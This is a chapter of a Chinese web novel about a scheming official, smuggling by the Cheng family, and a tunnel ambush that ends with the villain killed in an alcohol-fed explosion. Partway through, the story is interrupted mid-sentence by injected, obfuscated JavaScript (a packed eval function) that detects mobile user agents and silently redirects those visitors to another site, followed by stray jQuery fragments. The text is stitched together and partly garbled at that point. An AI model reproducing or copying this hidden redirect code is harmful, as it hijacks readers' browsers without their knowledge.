11. 诛杀程五 烈焰犹烙同心劫
作品:《我用纺织技术让夫君掉马了》 程家工坊被砸的消息如野火般迅速传遍岭南,街头巷尾议论纷纷。安子熙站在县衙门前,冷眼看着手下将闹事的村民一一押入大牢。白絮村老村长被两名衙役反剪双手,颤着花白的胡子满脸愤恨地瞪着安子熙:“狗官!你们联合程家鱼肉乡里,坑骗棉农土地,迟早会遭报应!”
安子熙神色淡漠,挥了挥手:“带下去。”
衙役将老村长押走,围观的百姓纷纷低声议论,眼中满是愤懑与恐惧。安子熙转身回到县衙,刚踏入正堂,便见高知府怒气冲冲地迎了上来。
“安子熙!你干的好事!”高知府一拍桌案,厉声斥责
“大人,下官不知何事惹怒大人?”安子熙微微皱眉,眼底波澜不惊。
“你纵容手下使用暴力手段镇压村民,激化矛盾,致使程家工坊被砸!这会儿又在这儿装什么傻?”
安子熙微微躬身,语气平静:“知府大人,村民暴动,若不及时镇压,恐酿成大祸。下官只是依律行事。”
“依律行事?”高知府冷笑一声,“你当本官是瞎子吗?那些村民不过是走投无路,才聚众抗议。你倒好,直接抓人下狱,还任由程家工坊被砸!你这是要把岭南搅得天翻地覆吗?”
安子熙抬眸,目光深邃:“知府大人,程家工坊被砸,是村民自发行为,与下官无关。下官关押那些闹事之人也是依法处置,正是极力阻止打砸的证明啊!”
“你!”高知府气得脸色铁青,指着安子熙的鼻子骂道:“好一个依法处置!安子熙,你别以为攀上郡主,就可以为所欲为!本官命你即刻下白絮村体察民情,组织镇上富农富商赈济村民粮食棉种,彻查棉田抵押的事!若再敢敷衍了事,本官定参你一本!”
安子熙唇角暗暗勾起一抹冷笑,拱手道:“下官领命。”
离开县衙后,安子熙并未直接前往白絮村,而是来到后堂书房打开案上的岭南棉田舆图,指尖碾过昨日朱砂标注的棉田方位,突然在程家矿场与白絮村交界处顿住。
青鱼跪在堂下,玄铁护腕与青砖相撞发出闷响:“硫磺的源头找到了,在矿场南侧崖洞里,程五昨夜带人去挖了三车带到了春苗的棉田,全埋在了田头土窑密道的出口附近。
“他还命人在密道口架了火油瓮。”青鱼喉结滚动,“只要春苗从密道出来,火星子溅上半分……”话音未落,窗外忽传来更夫嘶哑的梆子声,惊起寒鸦掠过县衙檐角的狻猊兽。
安子熙霍然起身,官袍上的银线鹤纹在月色下泛着冷光:“高知府不是要本官赈灾?明日卯时开仓放粮。”他忽地轻笑,指尖划过舆图上的硫磺标记,“记得让里长敲锣——白絮村每户可领棉种三斗,硫磺二两。”
青鱼瞳孔骤缩。岭南棉农素来用硫磺熏虫,这赏赐听着体面,实则是把淬毒的刀——程五暗藏的硫磺见了光,便是程家私囤火药的铁证…
---
白絮村的晒谷场上,二十口铁锅熬着稀薄的粟米粥。安子熙背手立在粥棚前,官靴碾过地上散落的硫磺粉末。
棉农田富缩在领粮队伍里,脖颈上新添的掐痕泛着青紫——那是昨夜发现春苗人去窑空时,程五特别留给他的“赏赐”。
“田里长”安子熙忽然开口,银勺撞得陶碗叮当作响,“听闻贵村棉田闹鼠患,本官特批的硫磺可还够用?”
田富膝盖一软,竹筐里的硫磺洒了满地:“够、够用……”
人群忽然骚动。几个官差拨开人群跪禀:“大人!后山崖头山洞里挖出好多火药罐子!”
安子熙眸中精光乍现,面上却作震怒状:“私藏火药乃诛九族的大罪!青鱼,带人封山!”
他转身时官袍扫过田富跪在地上颤抖的双腿,“看好他,任何人不得上山”
----
夜色如墨,寒风裹挟着细雪扑打在春苗的脸上。她紧了紧身上的破棉袄,借着月光摸到土窑的入口。窑洞内一片漆黑,只有她急促的呼吸声在空旷的墙壁间回荡。她摸索着走到墙边,手指触到那块松动的砖石,用力一推——暗格里空空如也。
“账册呢?”春苗心头一紧,冷汗瞬间浸透衣衫。她慌乱地四处翻找,却一无所获。窑洞外传来几声犬吠,她不敢久留,只得匆匆钻进密道,沿着狭窄的通道向棉田出口摸去。
密道出口处,积雪覆盖的棉田在月光下泛着银白的光。春苗扒开积雪,正要钻出去,忽然听见身后传来一声低唤:“春苗!”
她猛然回头,只见谢平安从密道的阴影中走出,手中提着一盏昏黄的油灯。春苗惊得后退一步,险些撞上石壁:“平安?你怎么在这里?”
谢平安神色凝重,压低声音道:“我晚上去给你送药,发现你把喜宝交给冯妈后就出了寺门。我不放心,就跟了过来。”她顿了顿,目光扫过春苗苍白的脸,“你在找什么?”
春苗咬了咬唇,正犹豫是否要说实话,忽然听见密道外传来一阵嘈杂的脚步声。火把的光亮透过积雪的缝隙渗进来,程五的声音在寒风中格外刺耳:“给我守住出口!等那娘们儿一出来,立刻点燃引线!”
春苗脸色骤变,腿一软险些跪倒在地。谢平安一把扶住她,低声道:“别慌,跟我来。”
她拉着青苗退回密道深处,拐进一条隐蔽的岔路。岔路尽头是一处狭窄的石室,谢平安点燃墙上的火把,火光映出她凝重的神色:“程五在棉田里埋了硫磺火药,你一旦出去,必死无疑。”
春苗浑身发抖,声音带着哭腔:“平安,我……我是在找我家那死鬼留下的那本账册。他其实是程家海贸的总管,手里有程家走私的罪证。程五为了灭口,把他害死在矿场。他临死前把账册交给我,让我用来保命。可现在……那本账册不见了!”
谢平安眉头紧锁:“账册只有一本?按理说,应该有数本才对,程家那么多年的海贸账目,一本怎么记得完?”
春苗摇头:“我不识字,那死鬼确实只给了我一本,里面全是汉字,可他平日里记账用的都是洋字码,我从没见过他写汉字。”
谢平安眼中闪过一丝亮光,她想起前世谍战剧里传递消息都是用摩斯密码,那沈伦经常出海,看来有可能用的也是这种摩斯密码账本
“那本汉字账册可能是密码本!程家手里的数字账册没有母本,根本看不懂,所以他们才急着找你。”她顿了顿,语气愈发凝重,“可密码本被谁拿走了?程五刚才说等你找到账册,说明他们也不知道账册在哪。那会是谁?”
春苗茫然摇头:“我不知道……我真的不知道……”
就在这时,密道深处传来杂乱的脚步声和程五手下的咒骂声:“那丫头肯定在里面!给我搜!”
谢平安脸色一变,拉着春苗快步走到石室角落,推开一块松动的石板,露出一个仅容一人通过的狭窄通道:“从这里出去,是程家矿场上方的悬崖。沿着云梯下去,顺着矿场边的河道回寺庙。快走!”
春苗抓住她的手,声音颤抖:“平安,我们一起走!”
谢平安摇头,语气坚决:“这密道岔口是十四为了查探程家矿场走私的事挖的,后来沈伦出事他就把出口封上了。我刚才为了绕开程五,特地挖开了封口从后山过来的,里面非常狭窄,只能一人弓着腰通过。来不及了,你快走!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244602|166337||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>春苗还想说什么,谢平安已经将她推进通道,迅速合上石板。密道内的脚步声越来越近,她深吸一口气,转身走向密道深处。
硫磺的刺鼻气味在密道里愈发浓烈,谢平安贴着潮湿的石壁,指尖摩挲着酒坛封泥上的暗纹——那是十四刻的歪扭木棉花,十四贪酒,所以在地道藏了许多酒,此刻正派上用场。
密道拐角处,程五的手下举着火把逼近。谢平安靠在石壁上,嘴角勾起一抹冷笑:“程五,你不是要账册吗?我这就给你送去。”
"谢家丫头!怎么会是你?!春苗那娘们儿呢?"程五的砍刀剁在密道口的木板上,碎屑簌簌落下"别废话!要么交出账册,要么老子往洞里灌火油!"他狞笑着一步步逼近谢平安。
平安突然轻笑出声,声音在狭长密道里荡出回音:"五爷可听过''灯下黑''?您脚下踩着半坛子老白干,要不要我帮您热热身子?"
她猛地掀开地上成排的酒坛,烈酒顺着石缝汩汩渗向程五所在的方位。
程五的狞笑戛然而止。他身后棉田里埋着的硫磺芒硝,此刻正与酒液相融,在积雪下蒸腾起危险的雾气。平安摸出火折子吹亮,火光映出石壁上凸起的石砖,拿开石砖,一匹细绢映入眼帘。
"五爷可知沈伦为何把账册交给春苗?"她故意抬高声音,抱着细绢轻轻退进岔道密室,挪开方才的石板"因为那本账册记录了这些年程家通过棉船私运精铁的每一笔进账!”
“你胡诌!”程五的呼吸陡然粗重,“真以为我不敢动你吗?谢平安,你大可以点火试试,这密道要是着了,你一样别想活命!”
听着那脚步声已然近在咫尺,谢平安知道时候到了,甩出火折子的瞬间,烈焰顺着酒液腾起蓝绿色火蛇,她披着细绢迅速合上封口石板,火舌气浪扑来的瞬间,她听见程五的惨叫被爆炸声吞没。
山崖边的寒风呼啸而过,安子熙站在云梯旁,目光冷峻地盯着刚攀上崖顶的春苗。她浑身湿透,发丝凌乱,脸上还带着惊魂未定的神色。安子熙正要开口审问,忽然一声震耳欲聋的爆炸声从山崖另一侧传来,火光冲天而起,映红了半边夜空。
“平安!”春苗脸色骤变,转身就要朝密道出口奔去。安子熙一把拽住她的手臂,声音冷得像冰:“你说什么?谢平安也在?”
春苗挣扎着,声音带着哭腔:“她在密道里!程五埋了火药,她为了救我……”
安子熙瞳孔骤缩,心中猛然一沉。他之前从朔月那里得到的情报,分明只说春苗一人回了土窑。谢平安怎么会出现在这里?他松开春苗,快步朝密道出口奔去,身后的青鱼连忙跟上:“大人,小心有诈!”
密道出口处,浓烟滚滚,火舌舔舐着棉田的残骸。安子熙站在洞口,目光死死盯着那漆黑的通道。他正要俯身下去,忽然听见密道深处传来一阵轻微的咳嗽声。
那声音虚弱却熟悉,像一根细线,瞬间扯住了他的心脏。安子熙站在原地,指尖微微颤抖,方才的慌乱被理智迅速压下。他知道,她还活着。
“大人,火势太大,不能进去!”青鱼拉住他的衣袖,语气焦急。
安子熙却甩开他的手,冷声道:“退下。”
就在这时,密道口传来窸窸窣窣的声响。一个身影从浓烟中缓缓爬出,身上披着防火的细绢,灰头土脸,却掩不住那双明亮的眼睛。谢平安抬起头,正对上一双幽黑如深潭的眸子。
四目相对,时间仿佛在这一刻静止。
安子熙蹲下身,伸手拂去她发丝上的灰烬,指尖滑过她微烫的皮肤,语气却依旧冷淡:“夫人这是唱的哪一出?火烧连营?”